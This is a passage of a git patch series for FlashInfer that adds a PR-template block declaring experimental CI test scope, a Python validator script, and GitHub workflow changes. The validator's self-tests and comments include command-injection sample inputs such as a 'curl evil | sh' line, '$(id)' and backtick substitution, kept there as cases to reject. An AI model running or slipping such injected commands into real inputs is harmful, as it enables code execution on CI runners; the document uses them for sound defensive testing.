any(_uses_trace_decorator(node) for node in ast.walk(tree)): continue From 8e8a2560f1b74cd23bea1c587b360d98356b2118 Mon Sep 17 00:00:00 2001 From: Brian Ryu Date: Tue, 1 Sep 2026 17:01:54 -0700 Subject: [PATCH 07/41] Address review comments --- .github/pull_request_template.md | 11 +++++++++++ CONTRIBUTING.md | 3 +++ docs/code_review_guidance.md | 13 ++++++++----- flashinfer/experimental/CLAUDE.md | 2 ++ flashinfer/experimental/README.md | 12 +++++++----- 5 files changed, 31 insertions(+), 10 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index f5c54c66e8f..5075dbd773f 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -25,6 +25,17 @@ Thank you for contributing to FlashInfer! Before we review your pull request, pl - [ ] Tests have been added or updated as needed. - [ ] All tests are passing (`unittest`, etc.). +## 🔬 Experimental Track + + + +- [ ] This PR is **experimental**: it adds or changes code under `flashinfer/experimental/` and/or an `@flashinfer_experimental_api`. Tracking issue: # + - [ ] The tracking issue names an owner, the reason for the experimental path, and a graduation plan with a target release. + - [ ] Core changes are limited to a thin entry point (signature, shared validation, feature-gate check, backend selection, handoff). + - [ ] Tests live in `tests/experimental/` and were validated on the intended hardware; a runnable example is included. + - [ ] Nothing is registered in `flashinfer/aot.py`, and all experimental behavior is gated behind `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`. + ## Reviewer Notes diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index c49518d7eec..e93c80ea85c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -76,6 +76,9 @@ stable backends. * a named owner and a tracking issue (use case, reason for the experimental path, graduation plan and target release — default intent is graduation within four weeks); +* declaration in the PR: tick the **Experimental Track** checkbox in the PR + template and link the tracking issue there (maintainers add the + `experimental` label); * correctness tests against a reference in `tests/experimental/`, validated on the intended hardware, plus a runnable example; * no registration in `flashinfer/aot.py` (experimental features are JIT-only diff --git a/docs/code_review_guidance.md b/docs/code_review_guidance.md index 744e66a021b..0869e0de925 100644 --- a/docs/code_review_guidance.md +++ b/docs/code_review_guidance.md @@ -60,11 +60,14 @@ unsafe shape/alignment assumptions. ## Experimental APIs FlashInfer does not gate PRs by size. Some PRs may instead be submitted on **experimental** -terms — a separate lifecycle, workflow management, and quality bar — declared via a tracked -issue. Review such PRs against the experimental quality bar, not the durable-code bar. - - +terms — a separate lifecycle, workflow management, and quality bar. An experimental PR is +declared by the **Experimental Track** checkbox in the PR template (with a linked tracking +issue) and the `experimental` label; the code itself is marked by placement under +`flashinfer/experimental/` and/or `@flashinfer_experimental_api`. Review such PRs against the +experimental quality bar, not the durable-code bar. + + ## Checklist diff --git a/flashinfer/experimental/CLAUDE.md b/flashinfer/experimental/CLAUDE.md index 5c3f3e6b9ce..fcb2f36d636 100644 --- a/flashinfer/experimental/CLAUDE.md +++ b/flashinfer/experimental/CLAUDE.md @@ -66,6 +66,8 @@ if backend == "experimental_xyz": - Named owner + tracking issue (use case, reason, graduation plan/target; default intent: graduate within four weeks). +- Declare the PR via the **Experimental Track** checkbox in the PR template, + linking the tracking issue (maintainers add the `experimental` label). - Correctness tests vs. a reference in `tests/experimental/`, validated on the intended hardware, plus a runnable example. diff --git a/flashinfer/experimental/README.md b/flashinfer/experimental/README.md index d51ffc92a4a..e1618d952c3 100644 --- a/flashinfer/experimental/README.md +++ b/flashinfer/experimental/README.md @@ -195,11 +195,13 @@ the normal core review process; reviewers verify that integration is explicit, stable behavior is unchanged by default, and backend-specific logic has not leaked into core. -The tracking issue is reviewed together with the PR itself, especially when -the PR introduces a new experimental feature (as opposed to small -improvements to an existing experimental backend): reviewers assess the -documented use case, the reason for taking the experimental path, and the -graduation plan as part of admission. +The PR declares itself experimental by ticking the **Experimental Track** +checkbox in the PR template and linking the tracking issue there; maintainers +add the `experimental` label. The tracking issue is reviewed together with the +PR itself, especially when the PR introduces a new experimental feature (as +opposed to small improvements to an existing experimental backend): reviewers +assess the documented use case, the reason for taking the experimental path, +and the graduation plan as part of admission. Broad portability, comprehensive performance coverage, and long-term maintainability are **not** required at admission. From 61d8da74496bbd3a6a669bf093924d8fded7a327 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Tue, 1 Sep 2026 18:38:00 -0600 Subject: [PATCH 08/41] feat(experimental): declare per-PR test scope for the experimental CI lane Follow-up to the experimental track, targeting #4880. The open question on the CI lane was what it should run. `tests/experimental` as a whole works today, when the track holds one feature, and gets slower and less relevant to any given change as the track grows -- every experimental PR would pay for every other experimental feature's tests, in every cell of the GPU/toolkit matrix. So the PR declares its own scope. The template gains a required `experimental-tests` fenced block listing targets, and scripts/pr_checks/experimental_test_scope.py parses, validates and emits them as a TEST_PATH -- the value the existing shell scripts already accept: TEST_PATH=$(scripts/pr_checks/experimental_test_scope.py \ --body-file body.md --test-path) No new format is invented, and narrowing TEST_PATH narrows what runs within each matrix cell rather than changing the matrix. Why the PR body specifically: the two trigger paths are asymmetric. GitLab's `/bot run TEST_PATH` carries the target inline, so a reviewer can already scope a run by hand. GitHub's triggers -- the `run-ci` label and `@flashinfer-bot run` -- carry no argument at all, so a GitHub run has no other channel for learning what to test. Reading a declared block is what lets the same targeted run happen on both, which makes the block necessary rather than merely tidy. A tagged fence rather than prose because it is machine-read: unambiguous to extract, survives surrounding edits, and a reworded heading cannot silently break it. Validation rejects a missing block, an empty block, duplicate blocks, paths outside tests/experimental/, and path traversal -- `--selftest` covers all six plus four parse cases and needs no fixtures. Declaring the whole tree stays legal; the comment says it defeats the purpose. The point is to make scope an explicit author decision rather than an implicit default nobody revisits. AI-assisted (Claude Code). --- .github/pull_request_template.md | 9 + .../experimental_apis_and_backends.md | 12 ++ scripts/pr_checks/experimental_test_scope.py | 173 ++++++++++++++++++ 3 files changed, 194 insertions(+) create mode 100755 scripts/pr_checks/experimental_test_scope.py diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 5075dbd773f..184e34568e8 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -35,6 +35,15 @@ Thank you for contributing to FlashInfer! Before we review your pull request, pl - [ ] Core changes are limited to a thin entry point (signature, shared validation, feature-gate check, backend selection, handoff). - [ ] Tests live in `tests/experimental/` and were validated on the intended hardware; a runnable example is included. - [ ] Nothing is registered in `flashinfer/aot.py`, and all experimental behavior is gated behind `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`. + - [ ] **Test scope declared below.** The experimental CI lane runs exactly these targets, so keep them as narrow as the change allows. + + + +```experimental-tests +tests/experimental/ +``` ## Reviewer Notes diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index a81fcffbceb..5dfa7e88d0d 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -132,6 +132,18 @@ Every experimental feature must include: Experimental tests run in a separate CI lane and must pass for PRs that modify the feature. +The PR declares which targets that lane runs, in a fenced `experimental-tests` block in the PR body (see `.github/pull_request_template.md`): + +``` +​```experimental-tests +tests/experimental/test_my_backend.py +​``` +``` + +The declaration is required, and targets must live under `tests/experimental/`. Running the whole tree is permitted but gets slower and less relevant to any one change as the track grows, so authors should declare the narrowest scope that covers the change. `scripts/pr_checks/experimental_test_scope.py` parses and validates the block and emits a `TEST_PATH` (`--test-path`), the value both CI systems already accept — GitHub via the `run-ci` label or `@flashinfer-bot run`, GitLab via `/bot run TEST_PATH` — so neither lane reimplements the parsing, and a reviewer triggering a run by hand can paste the same value. Narrowing the scope reduces what runs within each GPU/toolkit matrix cell; it does not change the matrix itself. + +The two trigger paths are asymmetric, and that is why the declaration lives in the PR body. GitLab's `/bot run TEST_PATH` carries the target inline, so a reviewer can already scope a run by hand. GitHub's triggers — the `run-ci` label and `@flashinfer-bot run` — carry no argument, so a GitHub run has no other channel for learning what to test. Reading the declared block is what lets the same targeted run happen on both. + Changes under `flashinfer.experimental` receive narrower review focused on eligibility, correctness, containment, licensing, and obvious safety or maintainability risks. Changes to core follow the normal core review process. Reviewers should verify that integration is explicit, stable behavior is unchanged by default, and backend-specific logic has not leaked into core. diff --git a/scripts/pr_checks/experimental_test_scope.py b/scripts/pr_checks/experimental_test_scope.py new file mode 100755 index 00000000000..4605be0044a --- /dev/null +++ b/scripts/pr_checks/experimental_test_scope.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Extract the declared experimental test scope from a PR body. + +Experimental-track PRs declare which tests the experimental CI lane should run, +in a fenced block tagged ``experimental-tests`` (see +``.github/pull_request_template.md``):: + + ```experimental-tests + tests/experimental/test_foo.py + tests/experimental/test_bar.py::test_baz + ``` + +Running the whole ``tests/experimental/`` tree gets slower and less relevant as +the track grows, so the author declares what their change actually needs. + +The declared value is a ``TEST_PATH`` -- both CI systems drive the same shell +scripts, which already accept one or more files or directories and fan out over +the GPU/toolkit matrix. So this emits a ready-to-use ``TEST_PATH`` rather than +inventing a format. + +Why the PR body, specifically: GitLab's ``/bot run TEST_PATH`` carries the +target inline, but GitHub's triggers (the ``run-ci`` label, ``@flashinfer-bot +run``) carry **no argument at all**. The body is therefore the only channel a +GitHub run has for learning what to test, which is what makes a declared block +necessary rather than merely tidy. A GitHub job reads it with:: + + TEST_PATH=$(scripts/pr_checks/experimental_test_scope.py \ + --body-file body.md --test-path) + +Note the matrix is unaffected: narrowing ``TEST_PATH`` narrows what runs +*within* each matrix cell, which is where the cost is. + +Usage:: + + experimental_test_scope.py --body-file body.md # one target per line + experimental_test_scope.py --body-file body.md --test-path # TEST_PATH value + experimental_test_scope.py --selftest + +Exit codes: 0 ok, 1 missing or invalid declaration (message on stderr). +""" + +from __future__ import annotations + +import argparse +import re +import sys + +FENCE_RE = re.compile( + r"^[ \t]*```[ \t]*experimental-tests[ \t]*\n(.*?)^[ \t]*```[ \t]*$", + re.DOTALL | re.MULTILINE, +) +ROOT = "tests/experimental/" + + +def parse(body: str) -> list[str]: + """Return declared pytest targets. Raises ValueError with a fixable message.""" + blocks = FENCE_RE.findall(body or "") + if not blocks: + raise ValueError( + "no ```experimental-tests block found in the PR body. Experimental PRs " + "must declare their test scope; see .github/pull_request_template.md" + ) + if len(blocks) > 1: + raise ValueError(f"found {len(blocks)} experimental-tests blocks; expected 1") + + targets, bad = [], [] + for raw in blocks[0].splitlines(): + line = raw.split("#", 1)[0].strip() + if not line: + continue + # A path may carry a ::test suffix; validate only the file part. + path = line.split("::", 1)[0] + if not path.startswith(ROOT) or ".." in path: + bad.append(line) + else: + targets.append(line) + if bad: + raise ValueError(f"targets outside {ROOT}: {', '.join(bad)}") + if not targets: + raise ValueError( + "the experimental-tests block is empty; declare at least one target " + f"under {ROOT}" + ) + return targets + + +def _selftest() -> int: + ok = [ + ( + "```experimental-tests\ntests/experimental/test_a.py\n```", + ["tests/experimental/test_a.py"], + ), + ( + "pre\n```experimental-tests\ntests/experimental/\n```\npost", + ["tests/experimental/"], + ), + ( + "```experimental-tests\ntests/experimental/t.py::test_x # why\n```", + ["tests/experimental/t.py::test_x"], + ), + ( + "```experimental-tests\n\ntests/experimental/a.py\ntests/experimental/b.py\n\n```", + ["tests/experimental/a.py", "tests/experimental/b.py"], + ), + ] + bad = [ + ("", "missing block"), + ("```experimental-tests\n```", "empty block"), + ( + "```experimental-tests\ntests/gemm/test_x.py\n```", + "outside tests/experimental/", + ), + ( + "```experimental-tests\ntests/experimental/../gemm/x.py\n```", + "path traversal", + ), + ( + "```experimental-tests\ntests/experimental/a.py\n```\n```experimental-tests\ntests/experimental/b.py\n```", + "two blocks", + ), + ("```\ntests/experimental/a.py\n```", "untagged fence"), + ] + failures = 0 + for body, want in ok: + try: + got = parse(body) + except ValueError as e: + print(f"FAIL (should parse): {e}", file=sys.stderr) + failures += 1 + continue + if got != want: + print(f"FAIL: got {got}, want {want}", file=sys.stderr) + failures += 1 + for body, why in bad: + try: + parse(body) + except ValueError: + continue + print(f"FAIL (should have been rejected): {why}", file=sys.stderr) + failures += 1 + print("selftest: FAILED" if failures else "selftest: all cases pass") + return 1 if failures else 0 + + +def main() -> int: + ap = argparse.ArgumentParser(description=__doc__.split("\n")[0]) + ap.add_argument("--body-file", help="file containing the PR body") + ap.add_argument( + "--test-path", + action="store_true", + help="print targets space-separated as a TEST_PATH value for the CI scripts", + ) + ap.add_argument("--selftest", action="store_true") + args = ap.parse_args() + + if args.selftest: + return _selftest() + if not args.body_file: + ap.error("--body-file is required (or use --selftest)") + + with open(args.body_file, encoding="utf-8") as fh: + body = fh.read() + try: + targets = parse(body) + except ValueError as e: + print(f"experimental test scope: {e}", file=sys.stderr) + return 1 + print(" ".join(targets) if args.test_path else "\n".join(targets)) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) From 089dc688562f7e36878824f89df131851cb004e7 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Tue, 1 Sep 2026 18:53:38 -0600 Subject: [PATCH 09/41] feat(experimental): run the declared scope on GitHub CI; verify paths exist Completes the previous commit. Declaring a scope only helps if something consumes it, and on GitHub nothing could: `@flashinfer-bot run` matches with grep and discards anything typed after it, the matrix is built from hardcoded jq literals, and the dispatch step passes no argument. The shell side was already fine -- task_run_unit_tests.sh forwards "$@" to unit_test_runner.py, which sets TEST_PATH from it -- so only the workflow needed to thread a value through. pr-test.yml gains one additive H100 lane for PRs labelled `experimental`, running only the declared targets. Existing lanes are untouched and get an empty TEST_PATH_ARG, so a normal PR cannot be affected. The parser now also verifies declared targets exist in the checkout. A nonexistent path collects no tests and passes, which is a false green -- the most expensive failure mode here, because it looks like coverage. A typo now fails the matrix instead of reporting success. Two boundaries the lane deliberately does not cross: Trust is decided upstream. Whether this PR's code -- including its tests -- may run on the runners is settled by the screening that gates the run-ci label, and a new test file is part of the diff that decision covers. The workflow decides scope, not trust, and does not re-derive it. The PR body is still untrusted INPUT. The value moves through env, is written to a file, and is never interpolated into script text: ${{ }} interpolation of PR-authored content into a run: block is a script-injection vector regardless of who is trusted to trigger it. An experimental PR whose block is missing or invalid fails the matrix rather than silently falling back to the full tree -- the fallback would restore exactly the behaviour this avoids. Raised for confirmation in the PR description. @flashinfer-bot run is left alone: it needs no argument now that the declaration lives in the PR body, which keeps the scope in one place instead of being retyped per trigger. AI-assisted (Claude Code). --- .github/workflows/pr-test.yml | 47 ++++++++++++++++- .../experimental_apis_and_backends.md | 7 ++- scripts/pr_checks/experimental_test_scope.py | 52 +++++++++++++++++++ 3 files changed, 104 insertions(+), 2 deletions(-) diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index 491c5983157..d8a536ac44c 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -162,6 +162,11 @@ jobs: SKIP_AOT: ${{ github.event.inputs.skip_aot }} SKIP_GPU: ${{ github.event.inputs.skip_gpu }} RUNTIME_CUDA_MATRIX: ${{ steps.cuda-versions.outputs.runtime }} + # PR body is attacker-controlled: it is passed through env and read from a + # file, never interpolated into the script text. See the experimental lane + # below. + PR_BODY: ${{ github.event.pull_request.body }} + PR_LABELS: ${{ toJSON(github.event.pull_request.labels.*.name) }} run: | { if [ "$SKIP_AOT" != "true" ]; then @@ -208,6 +213,37 @@ jobs: script: "task_run_unit_tests.sh", timeout: 480 }' + + # Experimental track: one extra H100 lane running only the targets the + # PR declares (see .github/pull_request_template.md). Additive - the + # lanes above are untouched, so a normal PR cannot be affected. + # + # The declared scope is validated by experimental_test_scope.py, which + # rejects paths outside tests/experimental/, path traversal and targets + # that do not exist in the checkout. A nonexistent path would otherwise + # collect nothing and pass, which looks like coverage. + # + # Trust: whether this PR's code (including its tests) may run on our + # runners is decided upstream, by the screening that gates the run-ci + # label. This step decides *scope*, not trust. + if jq -e 'index("experimental")' <<< "$PR_LABELS" > /dev/null 2>&1; then + printf '%s' "$PR_BODY" > /tmp/pr_body.md + if EXP_TEST_PATH=$(python3 scripts/pr_checks/experimental_test_scope.py \ + --body-file /tmp/pr_body.md --test-path 2>/tmp/exp_err); then + jq -nc --arg test_path "$EXP_TEST_PATH" '{ + name: "Experimental Unittest (H100)", + kind: "h100", + runner: ["self-hosted", "linux", "x64", "gpu", "h100"], + cuda: "cu129", + script: "task_run_unit_tests.sh", + test_path: $test_path, + timeout: 480 + }' + else + echo "::error::experimental PR without a valid test scope: $(cat /tmp/exp_err)" >&2 + exit 1 + fi + fi fi } | jq -sc '{include: .}' > matrix.json @@ -240,6 +276,9 @@ jobs: MATRIX_ARCH: ${{ matrix.runner[2] }} MATRIX_CUDA: ${{ matrix.cuda }} TEST_SCRIPT: ${{ matrix.script }} + # Empty for every lane except the experimental one. Quoted at the use site and + # never interpolated into script text - it originates from the PR body. + TEST_PATH_ARG: ${{ matrix.test_path }} steps: - name: Cleanup if: matrix.kind != 'h100' @@ -351,7 +390,13 @@ jobs: exit 1 ;; esac - bash ci/bash.sh "${DOCKER_IMAGE}" "./scripts/${TEST_SCRIPT}" + if [ -n "${TEST_PATH_ARG:-}" ]; then + # shellcheck disable=SC2086 - TEST_PATH_ARG is a validated, space-separated + # list of targets and must word-split into separate arguments. + bash ci/bash.sh "${DOCKER_IMAGE}" "./scripts/${TEST_SCRIPT}" ${TEST_PATH_ARG} + else + bash ci/bash.sh "${DOCKER_IMAGE}" "./scripts/${TEST_SCRIPT}" + fi - name: Make JUnit XML readable if: ${{ always() && matrix.kind == 'h100' }} diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index 5dfa7e88d0d..52ed15ef191 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -142,7 +142,12 @@ tests/experimental/test_my_backend.py The declaration is required, and targets must live under `tests/experimental/`. Running the whole tree is permitted but gets slower and less relevant to any one change as the track grows, so authors should declare the narrowest scope that covers the change. `scripts/pr_checks/experimental_test_scope.py` parses and validates the block and emits a `TEST_PATH` (`--test-path`), the value both CI systems already accept — GitHub via the `run-ci` label or `@flashinfer-bot run`, GitLab via `/bot run TEST_PATH` — so neither lane reimplements the parsing, and a reviewer triggering a run by hand can paste the same value. Narrowing the scope reduces what runs within each GPU/toolkit matrix cell; it does not change the matrix itself. -The two trigger paths are asymmetric, and that is why the declaration lives in the PR body. GitLab's `/bot run TEST_PATH` carries the target inline, so a reviewer can already scope a run by hand. GitHub's triggers — the `run-ci` label and `@flashinfer-bot run` — carry no argument, so a GitHub run has no other channel for learning what to test. Reading the declared block is what lets the same targeted run happen on both. +The two trigger paths are asymmetric, and that is why the declaration lives in the PR body. GitLab's `/bot run TEST_PATH` carries the target inline, so a reviewer can already scope a run by hand. GitHub's triggers — the `run-ci` label and `@flashinfer-bot run` — carry no argument, so a GitHub run has no other channel for learning what to test. Reading the declared block is what lets the same targeted run happen on both. `pr-test.yml` adds one extra H100 lane for PRs carrying the `experimental` label, running only the declared targets; the existing lanes are untouched, so a normal PR is unaffected. + +Two properties of that lane are worth stating, because they are easy to erode later: + +* **Declared targets must exist.** A path that does not exist collects no tests and passes — a false green, which is the most expensive way for this to fail because it looks like coverage. The validator checks existence in the checkout, so a typo fails the matrix rather than quietly reporting success. +* **The lane decides scope, not trust.** Whether a PR's code — *including its tests* — may run on the runners is settled upstream, by the screening that gates the `run-ci` label; a new test file is part of the diff that decision covers. The workflow therefore does not re-derive trust from the declaration. It does treat the PR body as untrusted *input*: the value is passed via `env`, written to a file, and never interpolated into script text, since `${{ }}` interpolation of PR-authored content into a `run:` block is a script-injection vector. Changes under `flashinfer.experimental` receive narrower review focused on eligibility, correctness, containment, licensing, and obvious safety or maintainability risks. diff --git a/scripts/pr_checks/experimental_test_scope.py b/scripts/pr_checks/experimental_test_scope.py index 4605be0044a..7244285652f 100755 --- a/scripts/pr_checks/experimental_test_scope.py +++ b/scripts/pr_checks/experimental_test_scope.py @@ -42,6 +42,7 @@ from __future__ import annotations import argparse +import pathlib import re import sys @@ -84,6 +85,23 @@ def parse(body: str) -> list[str]: return targets +def check_exists(targets: list[str], repo_root: str) -> None: + """Verify each declared target exists. Raises ValueError listing what is missing. + + A declared path that does not exist makes the lane collect nothing and pass, + which is a false green -- the most expensive way for this to fail, because it + looks like coverage. + """ + root = pathlib.Path(repo_root) + missing = [t for t in targets if not (root / t.split("::", 1)[0]).exists()] + if missing: + raise ValueError( + "declared targets do not exist in the repo: " + + ", ".join(missing) + + " (a path that does not exist collects no tests and passes silently)" + ) + + def _selftest() -> int: ok = [ ( @@ -121,6 +139,28 @@ def _selftest() -> int: ("```\ntests/experimental/a.py\n```", "untagged fence"), ] failures = 0 + # check_exists is covered separately: parse() is shape-only by design, so the + # synthetic bodies above name paths that do not exist. + import tempfile + + with tempfile.TemporaryDirectory() as td: + real = pathlib.Path(td) / ROOT + real.mkdir(parents=True) + (real / "test_real.py").write_text("") + try: + check_exists( + [f"{ROOT}test_real.py", f"{ROOT}test_real.py::test_x", ROOT], td + ) + except ValueError as e: + print(f"FAIL (existing paths rejected): {e}", file=sys.stderr) + failures += 1 + try: + check_exists([f"{ROOT}test_missing.py"], td) + print("FAIL (missing path accepted)", file=sys.stderr) + failures += 1 + except ValueError: + pass + for body, want in ok: try: got = parse(body) @@ -150,6 +190,16 @@ def main() -> int: action="store_true", help="print targets space-separated as a TEST_PATH value for the CI scripts", ) + ap.add_argument( + "--repo-root", + default=".", + help="repo root used to verify declared targets exist (default: cwd)", + ) + ap.add_argument( + "--no-check-exists", + action="store_true", + help="skip the existence check (parsing/validation only)", + ) ap.add_argument("--selftest", action="store_true") args = ap.parse_args() @@ -162,6 +212,8 @@ def main() -> int: body = fh.read() try: targets = parse(body) + if not args.no_check_exists: + check_exists(targets, args.repo_root) except ValueError as e: print(f"experimental test scope: {e}", file=sys.stderr) return 1 From 32285b261c46961968b168c7b517572a519b508d Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Tue, 1 Sep 2026 19:03:28 -0600 Subject: [PATCH 10/41] fix(experimental): validate test targets against a strict charset Testing the previous commit's claim rather than trusting it: the shape check accepted both tests/experimental/test_a.py; curl evil.sh | sh tests/experimental/$(id) Both start with tests/experimental/ and contain no "..", so "starts with the root and has no traversal" was never the guarantee it read as. Only the existence check rejected them, and that is incidental -- a semicolon is a legal filename character, so a committed file with one would pass. Targets are now matched against an explicit charset, so the guarantee is stated rather than inferred. Four rejection cases added: shell metacharacters, command substitution, backticks, and a smuggled pytest flag. The dispatch step also stops depending on that guarantee. It reads the value into an array and expands it quoted, with globbing disabled, rather than relying on word splitting. Each layer now holds without the others, which matters because run-ci can be applied by hand or via @flashinfer-bot run with no screening in the path -- the workflow cannot assume a screen ran. AI-assisted (Claude Code). --- .github/workflows/pr-test.yml | 11 ++++-- .../experimental_apis_and_backends.md | 2 +- scripts/pr_checks/experimental_test_scope.py | 34 +++++++++++++++++-- 3 files changed, 41 insertions(+), 6 deletions(-) diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index d8a536ac44c..0ef199bc3e4 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -391,9 +391,14 @@ jobs: ;; esac if [ -n "${TEST_PATH_ARG:-}" ]; then - # shellcheck disable=SC2086 - TEST_PATH_ARG is a validated, space-separated - # list of targets and must word-split into separate arguments. - bash ci/bash.sh "${DOCKER_IMAGE}" "./scripts/${TEST_SCRIPT}" ${TEST_PATH_ARG} + # Read into an array and expand quoted, rather than relying on word + # splitting: this keeps the shell safe on its own terms instead of + # inheriting the validator's charset guarantee. Globbing is off for the + # same reason. + set -f + read -r -a TEST_TARGETS <<< "${TEST_PATH_ARG}" + set +f + bash ci/bash.sh "${DOCKER_IMAGE}" "./scripts/${TEST_SCRIPT}" "${TEST_TARGETS[@]}" else bash ci/bash.sh "${DOCKER_IMAGE}" "./scripts/${TEST_SCRIPT}" fi diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index 52ed15ef191..caf1d6de7a5 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -147,7 +147,7 @@ The two trigger paths are asymmetric, and that is why the declaration lives in t Two properties of that lane are worth stating, because they are easy to erode later: * **Declared targets must exist.** A path that does not exist collects no tests and passes — a false green, which is the most expensive way for this to fail because it looks like coverage. The validator checks existence in the checkout, so a typo fails the matrix rather than quietly reporting success. -* **The lane decides scope, not trust.** Whether a PR's code — *including its tests* — may run on the runners is settled upstream, by the screening that gates the `run-ci` label; a new test file is part of the diff that decision covers. The workflow therefore does not re-derive trust from the declaration. It does treat the PR body as untrusted *input*: the value is passed via `env`, written to a file, and never interpolated into script text, since `${{ }}` interpolation of PR-authored content into a `run:` block is a script-injection vector. +* **The lane decides scope, not trust.** Whether a PR's code — *including its tests* — may run on the runners is settled upstream, by the screening that gates the `run-ci` label; a new test file is part of the diff that decision covers. The workflow therefore does not re-derive trust from the declaration. It does keep the PR body's *handling* defensive, for a reason independent of trust: `run-ci` can be applied by hand or via `@flashinfer-bot run` without any screening having run, so the workflow has to be safe on its own terms. The validator restricts targets to a strict charset (rejecting shell metacharacters, command substitution and smuggled flags outright, rather than inferring safety from a path prefix), the value is passed via `env` and never interpolated into script text, and the shell reads it into an array with globbing disabled instead of relying on word splitting. Each layer holds without the others. Changes under `flashinfer.experimental` receive narrower review focused on eligibility, correctness, containment, licensing, and obvious safety or maintainability risks. diff --git a/scripts/pr_checks/experimental_test_scope.py b/scripts/pr_checks/experimental_test_scope.py index 7244285652f..e3494cde914 100755 --- a/scripts/pr_checks/experimental_test_scope.py +++ b/scripts/pr_checks/experimental_test_scope.py @@ -52,6 +52,16 @@ ) ROOT = "tests/experimental/" +# A target is a path, optionally with a ``::selector`` suffix. Anything outside this +# charset is rejected outright rather than reasoned about: the value reaches a shell, +# and "starts with tests/experimental/ and has no .." accepts +# ``tests/experimental/x.py; curl evil | sh``. That is a legal filename, so the +# existence check is not a reliable backstop either -- it only happens to reject the +# obvious payloads. Keeping the guarantee explicit means callers can state it. +TARGET_RE = re.compile( + r"^[A-Za-z0-9][A-Za-z0-9._/-]*(::[A-Za-z0-9_][A-Za-z0-9._\[\]-]*)*$" +) + def parse(body: str) -> list[str]: """Return declared pytest targets. Raises ValueError with a fixable message.""" @@ -64,17 +74,24 @@ def parse(body: str) -> list[str]: if len(blocks) > 1: raise ValueError(f"found {len(blocks)} experimental-tests blocks; expected 1") - targets, bad = [], [] + targets, bad, unsafe = [], [], [] for raw in blocks[0].splitlines(): line = raw.split("#", 1)[0].strip() if not line: continue # A path may carry a ::test suffix; validate only the file part. path = line.split("::", 1)[0] - if not path.startswith(ROOT) or ".." in path: + if not TARGET_RE.match(line): + unsafe.append(line) + elif not path.startswith(ROOT) or ".." in path: bad.append(line) else: targets.append(line) + if unsafe: + raise ValueError( + "targets contain characters not allowed in a test path: " + + ", ".join(unsafe) + ) if bad: raise ValueError(f"targets outside {ROOT}: {', '.join(bad)}") if not targets: @@ -132,6 +149,19 @@ def _selftest() -> int: "```experimental-tests\ntests/experimental/../gemm/x.py\n```", "path traversal", ), + ( + "```experimental-tests\ntests/experimental/a.py; curl evil | sh\n```", + "shell metacharacters", + ), + ( + "```experimental-tests\ntests/experimental/$(id)\n```", + "command substitution", + ), + ("```experimental-tests\ntests/experimental/`id`\n```", "backticks"), + ( + "```experimental-tests\ntests/experimental/a.py --collect-only\n```", + "smuggled pytest flag", + ), ( "```experimental-tests\ntests/experimental/a.py\n```\n```experimental-tests\ntests/experimental/b.py\n```", "two blocks", From 1efa1414f2064a6ed9a6fe2a1126495652816b3c Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Tue, 1 Sep 2026 19:04:13 -0600 Subject: [PATCH 11/41] feat(experimental): make the test-scope block a fill-in The block shipped pre-filled with `tests/experimental/`, which is a valid declaration -- so the path of least resistance was to leave it, and the default silently became "run everything", exactly what declaring a scope is meant to avoid. It now ships with commented example lines instead. The parser already strips `#` comments, so an untouched block parses as empty and fails with "the experimental-tests block is empty; declare at least one target under tests/experimental/" rather than quietly running the whole tree. Examples live inside the fence rather than above it, so they are visible at the point of typing and are deleted as they are replaced. Declaring the whole tree is still legal and still documented, but is now a choice someone makes rather than one they inherit. AI-assisted (Claude Code). --- .github/pull_request_template.md | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 184e34568e8..026e97e9f7f 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -37,12 +37,19 @@ Thank you for contributing to FlashInfer! Before we review your pull request, pl - [ ] Nothing is registered in `flashinfer/aot.py`, and all experimental behavior is gated behind `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`. - [ ] **Test scope declared below.** The experimental CI lane runs exactly these targets, so keep them as narrow as the change allows. - + ```experimental-tests -tests/experimental/ +# One target per line: a directory, a file, or file::test. Must be under +# tests/experimental/ and must exist. Delete these comment lines and add yours, e.g. +# +# tests/experimental/test_my_backend.py +# tests/experimental/test_my_backend.py::test_specific_case +# tests/experimental/my_backend/ +# +# Declaring the whole tree (tests/experimental/) is allowed but means every +# experimental PR pays for every other feature's tests, in every matrix cell. ``` ## Reviewer Notes From a2101de65aeaa901dbfa3b1c0ad8fd0d60324fc6 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Tue, 1 Sep 2026 19:12:11 -0600 Subject: [PATCH 12/41] feat(ci): accept a test scope as an argument to @flashinfer-bot run Per Alex: the two concerns are orthogonal. @flashinfer-bot run takes the argument, the existing scripts already check authorization, and CI runs what it is told. The watcher rides on that -- posting under its own identity with the declared paths -- so there is no duplicated path parsing. The workflow therefore no longer reads the PR 